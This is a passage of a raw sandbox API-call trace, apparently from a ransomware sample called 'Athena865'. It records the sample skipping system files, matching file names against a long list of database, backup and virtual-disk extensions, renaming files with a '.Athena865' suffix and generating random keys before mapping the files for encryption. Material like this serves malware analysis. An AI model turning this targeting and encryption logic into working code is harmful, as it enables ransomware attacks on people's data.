[0087.880] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0087.880] lstrlenW (lpString="rctd") returned 4 [0087.880] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0087.880] lstrlenW (lpString="rod") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0087.880] lstrlenW (lpString="rodx") returned 4 [0087.880] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0087.880] lstrlenW (lpString="rpd") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0087.880] lstrlenW (lpString="rsd") returned 3 [0087.880] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0087.880] lstrlenW (lpString="sas7bdat") returned 8 [0087.881] lstrcmpiW (lpString1="WDWG.DLL", lpString2="sas7bdat") returned 1 [0087.881] lstrlenW (lpString="sbf") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0087.881] lstrlenW (lpString="scx") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0087.881] lstrlenW (lpString="sdb") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0087.881] lstrlenW (lpString="sdc") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0087.881] lstrlenW (lpString="sdf") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0087.881] lstrlenW (lpString="sis") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0087.881] lstrlenW (lpString="spq") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0087.881] lstrlenW (lpString="te") returned 2 [0087.881] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0087.881] lstrlenW (lpString="teacher") returned 7 [0087.881] lstrcmpiW (lpString1="DWG.DLL", lpString2="teacher") returned -1 [0087.881] lstrlenW (lpString="tmd") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0087.881] lstrlenW (lpString="tps") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0087.881] lstrlenW (lpString="trc") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.881] lstrlenW (lpString="trc") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0087.881] lstrlenW (lpString="trm") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0087.881] lstrlenW (lpString="udb") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0087.881] lstrlenW (lpString="udl") returned 3 [0087.881] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0087.882] lstrlenW (lpString="usr") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0087.882] lstrlenW (lpString="v12") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0087.882] lstrlenW (lpString="vis") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0087.882] lstrlenW (lpString="vpd") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0087.882] lstrlenW (lpString="vvv") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0087.882] lstrlenW (lpString="wdb") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0087.882] lstrlenW (lpString="wmdb") returned 4 [0087.882] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0087.882] lstrlenW (lpString="wrk") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0087.882] lstrlenW (lpString="xdb") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0087.882] lstrlenW (lpString="xld") returned 3 [0087.882] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0087.882] lstrlenW (lpString="xmlff") returned 5 [0087.882] lstrcmpiW (lpString1="G.DLL", lpString2="xmlff") returned -1 [0087.882] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL.Athena865") returned 65 [0087.882] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll.athena865"), dwFlags=0x1) returned 1 [0087.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWDWG.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vviewdwg.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0087.884] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9261432) returned 1 [0087.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0087.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0087.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0087.884] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0087.885] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0087.885] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0087.885] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d5480, lpName=0x0) returned 0x17c [0087.886] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x800000, dwNumberOfBytesToMap=0xd5480) returned 0x2d50000 [0087.922] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0088.109] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0088.126] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.127] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.127] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.127] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.127] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.128] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0088.135] CloseHandle (hObject=0x17c) returned 1 [0088.135] CloseHandle (hObject=0x154) returned 1 [0088.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.135] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.144] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9321c00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x5e528cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9321c00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x556768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VVIEWER.DLL", cAlternateFileName="")) returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="..") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="windows") returned -1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="bootmgr") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="temp") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="pagefile.sys") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="boot") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="ids.txt") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="ntuser.dat") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="perflogs") returned 1 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2="MSBuild") returned 1 [0088.144] lstrlenW (lpString="VVIEWER.DLL") returned 11 [0088.144] lstrcpyW (in: lpString1=0x241e89e, lpString2="VVIEWER.DLL" | out: lpString1="VVIEWER.DLL") returned="VVIEWER.DLL" [0088.144] lstrlenW (lpString="VVIEWER.DLL") returned 11 [0088.144] lstrlenW (lpString="Athena865") returned 9 [0088.144] lstrcmpiW (lpString1="IEWER.DLL", lpString2="Athena865") returned 1 [0088.144] lstrlenW (lpString=".dll") returned 4 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".dll") returned 1 [0088.144] lstrlenW (lpString=".lnk") returned 4 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".lnk") returned 1 [0088.144] lstrlenW (lpString=".ini") returned 4 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".ini") returned 1 [0088.144] lstrlenW (lpString=".sys") returned 4 [0088.144] lstrcmpiW (lpString1="VVIEWER.DLL", lpString2=".sys") returned 1 [0088.144] lstrlenW (lpString="VVIEWER.DLL") returned 11 [0088.145] lstrlenW (lpString="bak") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0088.145] lstrlenW (lpString="ba_") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0088.145] lstrlenW (lpString="dbb") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0088.145] lstrlenW (lpString="vmdk") returned 4 [0088.145] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0088.145] lstrlenW (lpString="rar") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0088.145] lstrlenW (lpString="zip") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0088.145] lstrlenW (lpString="tgz") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0088.145] lstrlenW (lpString="vbox") returned 4 [0088.145] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0088.145] lstrlenW (lpString="vdi") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0088.145] lstrlenW (lpString="vhd") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0088.145] lstrlenW (lpString="vhdx") returned 4 [0088.145] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0088.145] lstrlenW (lpString="avhd") returned 4 [0088.145] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0088.145] lstrlenW (lpString="db") returned 2 [0088.145] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0088.145] lstrlenW (lpString="db2") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0088.145] lstrlenW (lpString="db3") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0088.145] lstrlenW (lpString="dbf") returned 3 [0088.145] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0088.146] lstrlenW (lpString="mdf") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0088.146] lstrlenW (lpString="mdb") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0088.146] lstrlenW (lpString="sql") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0088.146] lstrlenW (lpString="sqlite") returned 6 [0088.146] lstrcmpiW (lpString1="ER.DLL", lpString2="sqlite") returned -1 [0088.146] lstrlenW (lpString="sqlite3") returned 7 [0088.146] lstrcmpiW (lpString1="WER.DLL", lpString2="sqlite3") returned 1 [0088.146] lstrlenW (lpString="sqlitedb") returned 8 [0088.146] lstrcmpiW (lpString1="EWER.DLL", lpString2="sqlitedb") returned -1 [0088.146] lstrlenW (lpString="xml") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0088.146] lstrlenW (lpString="$er") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0088.146] lstrlenW (lpString="4dd") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0088.146] lstrlenW (lpString="4dl") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0088.146] lstrlenW (lpString="^^^") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0088.146] lstrlenW (lpString="abs") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0088.146] lstrlenW (lpString="abx") returned 3 [0088.146] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0088.146] lstrlenW (lpString="accdb") returned 5 [0088.146] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0088.146] lstrlenW (lpString="accdc") returned 5 [0088.146] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0088.146] lstrlenW (lpString="accde") returned 5 [0088.146] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0088.147] lstrlenW (lpString="accdr") returned 5 [0088.147] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0088.147] lstrlenW (lpString="accdt") returned 5 [0088.147] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0088.147] lstrlenW (lpString="accdw") returned 5 [0088.147] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0088.147] lstrlenW (lpString="accft") returned 5 [0088.147] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0088.147] lstrlenW (lpString="adb") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0088.147] lstrlenW (lpString="adb") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0088.147] lstrlenW (lpString="ade") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0088.147] lstrlenW (lpString="adf") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0088.147] lstrlenW (lpString="adn") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0088.147] lstrlenW (lpString="adp") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0088.147] lstrlenW (lpString="alf") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0088.147] lstrlenW (lpString="ask") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0088.147] lstrlenW (lpString="btr") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0088.147] lstrlenW (lpString="cat") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0088.147] lstrlenW (lpString="cdb") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0088.147] lstrlenW (lpString="ckp") returned 3 [0088.147] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0088.147] lstrlenW (lpString="cma") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0088.148] lstrlenW (lpString="cpd") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0088.148] lstrlenW (lpString="dacpac") returned 6 [0088.148] lstrcmpiW (lpString1="ER.DLL", lpString2="dacpac") returned 1 [0088.148] lstrlenW (lpString="dad") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0088.148] lstrlenW (lpString="dadiagrams") returned 10 [0088.148] lstrcmpiW (lpString1="VIEWER.DLL", lpString2="dadiagrams") returned 1 [0088.148] lstrlenW (lpString="daschema") returned 8 [0088.148] lstrcmpiW (lpString1="EWER.DLL", lpString2="daschema") returned 1 [0088.148] lstrlenW (lpString="db-journal") returned 10 [0088.148] lstrcmpiW (lpString1="VIEWER.DLL", lpString2="db-journal") returned 1 [0088.148] lstrlenW (lpString="db-shm") returned 6 [0088.148] lstrcmpiW (lpString1="ER.DLL", lpString2="db-shm") returned 1 [0088.148] lstrlenW (lpString="db-wal") returned 6 [0088.148] lstrcmpiW (lpString1="ER.DLL", lpString2="db-wal") returned 1 [0088.148] lstrlenW (lpString="dbc") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0088.148] lstrlenW (lpString="dbs") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0088.148] lstrlenW (lpString="dbt") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0088.148] lstrlenW (lpString="dbv") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0088.148] lstrlenW (lpString="dbx") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0088.148] lstrlenW (lpString="dcb") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0088.148] lstrlenW (lpString="dct") returned 3 [0088.148] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0088.148] lstrlenW (lpString="dcx") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0088.149] lstrlenW (lpString="ddl") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0088.149] lstrlenW (lpString="dlis") returned 4 [0088.149] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0088.149] lstrlenW (lpString="dp1") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0088.149] lstrlenW (lpString="dqy") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0088.149] lstrlenW (lpString="dsk") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0088.149] lstrlenW (lpString="dsn") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0088.149] lstrlenW (lpString="dtsx") returned 4 [0088.149] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0088.149] lstrlenW (lpString="dxl") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0088.149] lstrlenW (lpString="eco") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0088.149] lstrlenW (lpString="ecx") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0088.149] lstrlenW (lpString="edb") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0088.149] lstrlenW (lpString="epim") returned 4 [0088.149] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0088.149] lstrlenW (lpString="fcd") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0088.149] lstrlenW (lpString="fdb") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0088.149] lstrlenW (lpString="fic") returned 3 [0088.149] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0088.149] lstrlenW (lpString="flexolibrary") returned 12 [0088.150] lstrlenW (lpString="fm5") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0088.150] lstrlenW (lpString="fmp") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0088.150] lstrlenW (lpString="fmp12") returned 5 [0088.150] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0088.150] lstrlenW (lpString="fmpsl") returned 5 [0088.150] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0088.150] lstrlenW (lpString="fol") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0088.150] lstrlenW (lpString="fp3") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0088.150] lstrlenW (lpString="fp4") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0088.150] lstrlenW (lpString="fp5") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0088.150] lstrlenW (lpString="fp7") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0088.150] lstrlenW (lpString="fpt") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0088.150] lstrlenW (lpString="frm") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0088.150] lstrlenW (lpString="gdb") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0088.150] lstrlenW (lpString="gdb") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0088.150] lstrlenW (lpString="grdb") returned 4 [0088.150] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0088.150] lstrlenW (lpString="gwi") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0088.150] lstrlenW (lpString="hdb") returned 3 [0088.150] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0088.151] lstrlenW (lpString="his") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0088.151] lstrlenW (lpString="ib") returned 2 [0088.151] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0088.151] lstrlenW (lpString="idb") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0088.151] lstrlenW (lpString="ihx") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0088.151] lstrlenW (lpString="itdb") returned 4 [0088.151] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0088.151] lstrlenW (lpString="itw") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0088.151] lstrlenW (lpString="jet") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0088.151] lstrlenW (lpString="jtx") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0088.151] lstrlenW (lpString="kdb") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0088.151] lstrlenW (lpString="kexi") returned 4 [0088.151] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0088.151] lstrlenW (lpString="kexic") returned 5 [0088.151] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0088.151] lstrlenW (lpString="kexis") returned 5 [0088.151] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0088.151] lstrlenW (lpString="lgc") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0088.151] lstrlenW (lpString="lwx") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0088.151] lstrlenW (lpString="maf") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0088.151] lstrlenW (lpString="maq") returned 3 [0088.151] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0088.151] lstrlenW (lpString="mar") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0088.152] lstrlenW (lpString="marshal") returned 7 [0088.152] lstrcmpiW (lpString1="WER.DLL", lpString2="marshal") returned 1 [0088.152] lstrlenW (lpString="mas") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0088.152] lstrlenW (lpString="mav") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0088.152] lstrlenW (lpString="maw") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0088.152] lstrlenW (lpString="mdbhtml") returned 7 [0088.152] lstrcmpiW (lpString1="WER.DLL", lpString2="mdbhtml") returned 1 [0088.152] lstrlenW (lpString="mdn") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0088.152] lstrlenW (lpString="mdt") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0088.152] lstrlenW (lpString="mfd") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0088.152] lstrlenW (lpString="mpd") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0088.152] lstrlenW (lpString="mrg") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0088.152] lstrlenW (lpString="mud") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0088.152] lstrlenW (lpString="mwb") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0088.152] lstrlenW (lpString="myd") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0088.152] lstrlenW (lpString="ndf") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0088.152] lstrlenW (lpString="nnt") returned 3 [0088.152] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0088.152] lstrlenW (lpString="nrmlib") returned 6 [0088.153] lstrcmpiW (lpString1="ER.DLL", lpString2="nrmlib") returned -1 [0088.153] lstrlenW (lpString="ns2") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0088.153] lstrlenW (lpString="ns3") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0088.153] lstrlenW (lpString="ns4") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0088.153] lstrlenW (lpString="nsf") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0088.153] lstrlenW (lpString="nv") returned 2 [0088.153] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0088.153] lstrlenW (lpString="nv2") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0088.153] lstrlenW (lpString="nwdb") returned 4 [0088.153] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0088.153] lstrlenW (lpString="nyf") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0088.153] lstrlenW (lpString="odb") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0088.153] lstrlenW (lpString="odb") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0088.153] lstrlenW (lpString="oqy") returned 3 [0088.153] 